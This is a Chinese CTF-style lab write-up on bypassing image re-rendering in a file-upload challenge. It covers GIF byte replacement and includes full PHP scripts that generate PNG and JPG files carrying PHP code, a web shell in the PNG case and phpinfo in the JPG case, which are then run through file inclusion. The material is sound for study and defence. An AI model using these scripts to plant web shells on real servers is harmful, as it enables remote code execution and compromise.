这一关相较于前几个图片马的关卡要难很多,涉及到二次渲染,源码中的imagecreatefromjpeg()和另外两个函数会读取我们上传的文件中的图像像素数据、色彩表、格式头 / 尾等核心信息,忽略所有不符合规范的内容(比如在图片末尾追加的 PHP 代码 <?php eval(...) ?>)。所以,我们想要绕过就得让二次渲染后的图片还包含我们的php代码。

还是来实践一下看看吧。上传一张gif格式的文件,复制图像链接得到文件名,然后使用文件包含漏洞来访问这个文件。

可以看到并没有输出想要的效果,我们的代码是<?php phpinfo();?>,理想效是还会输出php面板信息,由于二次渲染将我们的php代码给“删除”了,图片里面已经没有我们输入的php代码了。我们可以使用010编辑器来对比一下我们上传的文件和服务端存储的文件内容,可以发现服务端存储的内容里是没有我们的代码的。


到这里,对二次渲染已经有了初步了解,接下来是绕过方法。
GIF绕过
使用十六进制编辑器,我们比较一下内容变动的地方,打开010编辑器的比较文件功能,选择上传的文件和服务端保存的文件

我们可以点击下方的匹配来找到二次渲染后两个图片一致的部分,也就是我们可以植入代码的位置,蓝色部分即为共同部分。我们插入代码。

插入我们的php代码。一般就在图片头那部分蓝色区域多的地方插入就好,这里貌似按照字节替换成功率会搞点,因为如图所见,我插入了好几次,有的没成功,意思就如<?php phpinfo();?>,是16字节,我们就选取16个字节进行替换。然后上传就好了。失败了不要慌,多试几次就好了。


PNG绕过
由于png图片有很多个块,绕过不能像gif那样直接修改。这里涉及到png图片的组成,这个详见【文件上传绕过】——二次渲染漏洞_二次渲染绕过-优快云博客,里面有详细的讲解。这里后面的解题脚本也是借鉴的这位大佬的。
<?php
// 检查GD扩展是否启用
if (!extension_loaded('gd')) {
die("错误:GD扩展未启用,请先配置GD扩展");
}
$p = array(
0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0,
0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f,
0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33
);
// 创建32x32的真彩色图像
$img = imagecreatetruecolor(32, 32);
if (!$img) {
die("错误:无法创建图像资源");
}
// 填充背景为白色
$white = imagecolorallocate($img, 255, 255, 255);
imagefill($img, 0, 0, $white);
// 计算有效的像素数量(每组3个值代表一个像素的RGB)
$pixelCount = floor(count($p) / 3);
// 绘制像素点
for ($i = 0; $i < $pixelCount; $i++) {
$r = $p[$i * 3];
$g = $p[$i * 3 + 1];
$b = $p[$i * 3 + 2];
// 确保颜色值在0-255范围内
$r = max(0, min(255, $r));
$g = max(0, min(255, $g));
$b = max(0, min(255, $b));
$color = imagecolorallocate($img, $r, $g, $b);
// 在第一行绘制像素,x坐标从0开始递增
imagesetpixel($img, $i, 0, $color);
}
// 保存图像
$savePath = './png_payload.png';
if (!imagepng($img, $savePath)) {
die("错误:无法保存图像到 $savePath,请检查目录权限");
}
// 释放资源
imagedestroy($img);
echo "图像已成功生成:" . realpath($savePath);
?>
我们直接运行程序就可以了,目录里面没有png图片也可以生成payload。

不过注意,这里代码是<? =$_GET[0]($_POST[1]);?>,我们还要使用POST提交数据,所以这里用到了Hackbar插件。


JPG绕过
jpg相比png来说就更麻烦了,并且由于jpg图片易损,对图片的选取有很大关系,很容易制作失败,需要多选取几张图片进行生成。
下面的解题脚本也出自上面大佬。
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte() !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

这个脚本使用需要一个图片文件作为参数,图中为同目录下的1.jpg。

这里的payload是可以自定义的,这里就定为phpinfo()信息。这里我也是找了好多图片试,有的要么就是非jpg图片,可能是破坏了jpg图片标识,还有的可以上传,但是提示语法错误,解析不了,试到第7张才成功,所以说,还是要多试试,这个很容易失败。


1万+

被折叠的 条评论
为什么被折叠?



